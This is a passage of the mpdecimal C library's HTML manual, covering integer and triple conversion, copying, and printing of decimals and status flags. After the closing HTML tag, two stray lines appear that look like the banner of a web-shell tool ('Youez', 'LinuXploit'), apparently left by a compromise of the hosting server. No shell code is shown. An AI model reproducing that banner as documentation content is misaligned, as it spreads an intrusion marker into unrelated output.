<span class="target" id="std:topic-mpd_qget_ssize"></span><span class="target" id="std:topic-mpd_qget_uint"></span><span class="target" id="std:topic-mpd_get_ssize"></span><span class="target" id="std:topic-mpd_get_uint"></span><span class="target" id="std:topic-mpd_qget_i32"></span><span class="target" id="std:topic-mpd_qget_u32"></span><span class="target" id="std:topic-mpd_get_i32"></span><span class="target" id="std:topic-mpd_get_u32"></span><span class="target" id="std:topic-mpd_qget_u64"></span><span class="target" id="std:topic-mpd_qget_i64"></span><span class="target" id="std:topic-mpd_get_i64"></span></div>
<div class="section" id="to-integer">
<span id="std:topic-mpd_get_u64"></span><h3>To Integer</h3>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="n">mpd_ssize_t</span> <span class="nf">mpd_qget_ssize</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">dec</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="n">mpd_uint_t</span> <span class="nf">mpd_qget_uint</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">dec</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="n">mpd_ssize_t</span> <span class="nf">mpd_get_ssize</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
<span class="n">mpd_uint_t</span> <span class="nf">mpd_get_uint</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>

<span class="kt">int32_t</span> <span class="nf">mpd_qget_i32</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">uint32_t</span> <span class="nf">mpd_qget_u32</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">int32_t</span> <span class="nf">mpd_get_i32</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
<span class="kt">uint32_t</span> <span class="nf">mpd_get_u32</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>

<span class="kt">uint64_t</span> <span class="nf">mpd_qget_u64</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">dec</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">int64_t</span> <span class="nf">mpd_qget_i64</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">dec</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">int64_t</span> <span class="nf">mpd_get_i64</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
<span class="kt">uint64_t</span> <span class="nf">mpd_get_u64</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
</pre></div>
</div>
<p>Convert a decimal to a C integer type. If the decimal is not an integer or
its value is outside the range of the C type, <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_SSIZE_MAX</span></code> is
returned for signed types and <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_UINT_MAX</span></code> for unsigned types. In
this case, the status is set to <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_Invalid_operation</span></code>. Since a
decimal can have the values <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_SSIZE_MAX</span></code> or <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_UINT_MAX</span></code>,
the only reliable way to check for errors is to check the status.</p>
<span class="target" id="std:topic-mpd_qabs_uint"></span><div class="highlight-c notranslate" id="std:topic-mpd_abs_uint"><div class="highlight"><pre><span></span><span class="n">mpd_uint_t</span> <span class="nf">mpd_qabs_uint</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">dec</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="n">mpd_uint_t</span> <span class="nf">mpd_abs_uint</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
</pre></div>
</div>
<p>Return the absolute of numbers in the range [<code class="xref c c-macro docutils literal notranslate"><span class="pre">-MPD_UINT_MAX</span></code>, <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_UINT_MAX</span></code>].
Error handling as above.</p>
<div class="versionadded">
<p><span class="versionmodified added">New in version 2.4.0: </span>All functions are available in both the 64-bit and the 32-bit builds.</p>
</div>
</div>
<div class="section" id="to-triple">
<span id="std:topic-mpd_as_uint128_triple"></span><h3>To Triple</h3>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="k">enum</span> <span class="n">mpd_triple_class</span> <span class="p">{</span>
  <span class="n">MPD_TRIPLE_NORMAL</span><span class="p">,</span>
  <span class="n">MPD_TRIPLE_INF</span><span class="p">,</span>
  <span class="n">MPD_TRIPLE_QNAN</span><span class="p">,</span>
  <span class="n">MPD_TRIPLE_SNAN</span><span class="p">,</span>
  <span class="n">MPD_TRIPLE_ERROR</span><span class="p">,</span>
<span class="p">};</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
  <span class="k">enum</span> <span class="n">mpd_triple_class</span> <span class="n">tag</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="n">sign</span><span class="p">;</span>  <span class="cm">/* 0 for positive and 1 for negative */</span>
  <span class="kt">uint64_t</span> <span class="n">hi</span><span class="p">;</span>   <span class="cm">/* ((uint128_t)hi &lt;&lt; 64) + lo is the coefficient */</span>
  <span class="kt">uint64_t</span> <span class="n">lo</span><span class="p">;</span>
  <span class="kt">int64_t</span> <span class="n">exp</span><span class="p">;</span>   <span class="cm">/* exponent */</span>
<span class="p">}</span> <span class="n">mpd_uint128_triple_t</span><span class="p">;</span>

<span class="n">mpd_uint128_triple_t</span> <span class="nf">mpd_as_uint128_triple</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">);</span>
</pre></div>
</div>
<p>Convert a decimal with up to 38 decimal digits to a triple.</p>
<p>For simplicity, the usage of the function and all special cases are explained
in code form and comments:</p>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="n">triple</span> <span class="o">=</span> <span class="n">mpd_as_uint128_triple</span><span class="p">(</span><span class="n">dec</span><span class="p">);</span>
<span class="k">switch</span> <span class="p">(</span><span class="n">triple</span><span class="p">.</span><span class="n">tag</span><span class="p">)</span> <span class="p">{</span>
<span class="k">case</span> <span class="nl">MPD_TRIPLE_QNAN</span><span class="p">:</span>
    <span class="cm">/*</span>
<span class="cm">     * Success: handle a quiet NaN.</span>
<span class="cm">     *   1) sign is 0 or 1.</span>
<span class="cm">     *   2) exp is always 0.</span>
<span class="cm">     *   3) If hi or lo are nonzero, the NaN has a payload.</span>
<span class="cm">     */</span>
    <span class="k">break</span><span class="p">;</span>

<span class="k">case</span> <span class="nl">MPD_TRIPLE_SNAN</span><span class="p">:</span>
    <span class="cm">/*</span>
<span class="cm">     * Success: handle a signaling NaN.</span>
<span class="cm">     *   1) sign is 0 or 1.</span>
<span class="cm">     *   2) exp is always 0.</span>
<span class="cm">     *   3) If hi or lo are nonzero, the sNaN has a payload.</span>
<span class="cm">     */</span>
    <span class="k">break</span><span class="p">;</span>

<span class="k">case</span> <span class="nl">MPD_TRIPLE_INF</span><span class="p">:</span>
    <span class="cm">/*</span>
<span class="cm">     * Success: handle Infinity.</span>
<span class="cm">     *   1) sign is 0 or 1.</span>
<span class="cm">     *   2) exp is always 0.</span>
<span class="cm">     *   3) hi and lo are always zero.</span>
<span class="cm">     */</span>
    <span class="k">break</span><span class="p">;</span>

<span class="k">case</span> <span class="nl">MPD_TRIPLE_NORMAL</span><span class="p">:</span>
    <span class="cm">/* Success: handle a finite value. */</span>
    <span class="k">break</span><span class="p">;</span>

<span class="k">case</span> <span class="nl">MPD_TRIPLE_ERROR</span><span class="p">:</span>
    <span class="cm">/* The coefficient is too large for conversion. Handle the error. */</span>
    <span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
<div class="versionadded">
<p><span class="versionmodified added">New in version 2.5.1.</span></p>
</div>
</div>
</div>
<div class="section" id="copy-decimal">
<h2>Copy Decimal</h2>
<span class="target" id="std:topic-mpd_qcopy"></span><div class="highlight-c notranslate" id="std:topic-mpd_copy"><div class="highlight"><pre><span></span><span class="kt">int</span> <span class="nf">mpd_qcopy</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span>  <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_copy</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
</pre></div>
</div>
<p>Set <em>result</em> to the value of <em>a</em> and return 1 for success. On failure,
return 0 and add <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_Malloc_Error</span></code> to <em>status</em>.</p>
<div class="highlight-c notranslate" id="std:topic-mpd_qncopy"><div class="highlight"><pre><span></span><span class="n">mpd_t</span> <span class="o">*</span><span class="nf">mpd_qncopy</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">);</span>
</pre></div>
</div>
<p>Return a pointer to a fresh copy of <em>a</em>, <code class="xref c c-macro docutils literal notranslate"><span class="pre">NULL</span></code> on failure.</p>
<span class="target" id="std:topic-mpd_qcopy_abs"></span><div class="highlight-c notranslate" id="std:topic-mpd_copy_abs"><div class="highlight"><pre><span></span><span class="kt">int</span> <span class="nf">mpd_qcopy_abs</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_copy_abs</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
</pre></div>
</div>
<p>Set <em>result</em> to the value of <em>a</em> with the sign set to 0. If successful,
return 1. Otherwise, return 0 and add <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_Malloc_Error</span></code> to <em>status</em>.</p>
<span class="target" id="std:topic-mpd_qcopy_negate"></span><div class="highlight-c notranslate" id="std:topic-mpd_copy_negate"><div class="highlight"><pre><span></span><span class="kt">int</span> <span class="nf">mpd_qcopy_negate</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_copy_negate</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
</pre></div>
</div>
<p>Set <em>result</em> to the value of <em>a</em> with the sign inverted. If successful,
return 1. Otherwise, return 0 and add <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_Malloc_Error</span></code> to <em>status</em>.</p>
<span class="target" id="std:topic-mpd_qcopy_sign"></span><div class="highlight-c notranslate" id="std:topic-mpd_copy_sign"><div class="highlight"><pre><span></span><span class="kt">int</span> <span class="nf">mpd_qcopy_sign</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">b</span><span class="p">,</span>
                   <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_copy_sign</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">b</span><span class="p">,</span>
                   <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
</pre></div>
</div>
<p>Set <em>result</em> to the value of <em>a</em>, using the sign of <em>b</em>. If successful,
return 1. Otherwise, return 0 and add <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_Malloc_Error</span></code> to <em>status</em>.</p>
</div>
<div class="section" id="print-decimal">
<h2>Print Decimal</h2>
<span class="target" id="std:topic-mpd_fprint"></span><div class="highlight-c notranslate" id="std:topic-mpd_print"><div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">mpd_fprint</span><span class="p">(</span><span class="kt">FILE</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">dec</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_print</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">dec</span><span class="p">);</span>
</pre></div>
</div>
<p>Print a decimal with a trailing newline to <em>FILE</em> or to <em>stdout</em>. These
functions are mostly useful for debugging.</p>
</div>
<div class="section" id="print-status-flags">
<h2>Print Status Flags</h2>
<span class="target" id="std:topic-mpd_snprint_flags"></span><span class="target" id="std:topic-mpd_lsnprint_flags"></span><div class="highlight-c notranslate" id="std:topic-mpd_lsnprint_signals"><div class="highlight"><pre><span></span><span class="kt">int</span> <span class="nf">mpd_snprint_flags</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">dest</span><span class="p">,</span> <span class="kt">int</span> <span class="n">nmemb</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">flags</span><span class="p">);</span>
<span class="kt">int</span> <span class="nf">mpd_lsnprint_flags</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">dest</span><span class="p">,</span> <span class="kt">int</span> <span class="n">nmemb</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">flags</span><span class="p">,</span>
                       <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">flag_string</span><span class="p">[]);</span>
<span class="kt">int</span> <span class="nf">mpd_lsnprint_signals</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">dest</span><span class="p">,</span> <span class="kt">int</span> <span class="n">nmemb</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">flags</span><span class="p">,</span>
                         <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">signal_string</span><span class="p">[]);</span>
</pre></div>
</div>
<p><code class="xref c c-func docutils literal notranslate"><span class="pre">mpd_snprint_flags</span></code> prints the conditions contained in <em>flags</em>
- separated by spaces - to the buffer <em>dest</em> with size <em>nmemb</em>. <em>nmemb</em>
must be at least <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_MAX_FLAG_STRING</span></code>.</p>
<p><code class="xref c c-func docutils literal notranslate"><span class="pre">mpd_lsnprint_flags</span></code> prints the conditions contained in <em>flags</em> as
a comma separated list to the buffer <em>dest</em> with size <em>nmemb</em>. <em>nmemb</em>
must be at least <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_MAX_FLAG_LIST</span></code>.</p>
<p><code class="xref c c-func docutils literal notranslate"><span class="pre">mpd_lsnprint_signals</span></code> prints signals contained in <em>flags</em> as
a comma separated list to the buffer <em>dest</em> with size <em>nmemb</em>. <em>nmemb</em>
must be at least <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_MAX_SIGNAL_LIST</span></code>.</p>
<p>The result string is always <code class="xref c c-macro docutils literal notranslate"><span class="pre">NUL</span></code> terminated. The return value of
both functions is the number of characters printed, without the <code class="xref c c-macro docutils literal notranslate"><span class="pre">NUL</span></code>
terminator. On failure, -1 is returned.</p>
</div>
</div>


          </div>
        </div>
      </div>
      <div class="clearer"></div>
    </div>
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="attributes.html" title="Attributes of a Decimal"
             >next</a></li>
        <li class="right" >
          <a href="decimals.html" title="Decimals"
             >previous</a> |</li>
    <li><a href="http://www.bytereef.org/mpdecimal/index.html">project home</a></li>
 
      </ul>
    </div>
    <div class="footer" role="contentinfo">
        &#169; Copyright 2010-2020, Stefan Krah.
      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 2.4.4.
    </div>
  </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit